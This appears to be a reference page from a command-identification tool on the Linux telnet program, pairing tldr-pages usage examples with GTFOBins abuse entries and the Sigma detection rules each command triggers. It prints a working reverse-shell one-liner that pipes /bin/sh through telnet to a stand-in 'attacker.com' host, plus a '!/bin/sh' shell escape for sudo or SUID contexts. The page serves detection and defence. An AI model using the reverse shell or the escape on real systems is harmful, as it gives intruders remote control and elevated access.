Identifier / Programs / Linux and Unix
telnet
Connect to a specified port of a host using the telnet protocol. tldr-pages
GTFOBins reverse-shell, shell 3 Sigma rules name it 2 documented commands
How telnet is abused
reverse-shell
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for telnet.
2 documented commands
reverse-shell unprivileged, with sudo, as SUID
The shell process is not spawn by openssl.
mkfifo /path/to/temp-socket
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socketTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
shell unprivileged, with sudo, as SUID
telnet
!/bin/shTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for telnet. The identifier reads the line of each that runs telnet.
What detects it
Everyday use
Telnet to the default port of a host
telnet hostIdentifyTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
Telnet to a specific port of a host
telnet ip_address portIdentifyTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
[Interactive] Exit a telnet session
quitOf the 2 examples the identifier reads, 2 match GTFOBins abuse or trip a Sigma process-creation rule.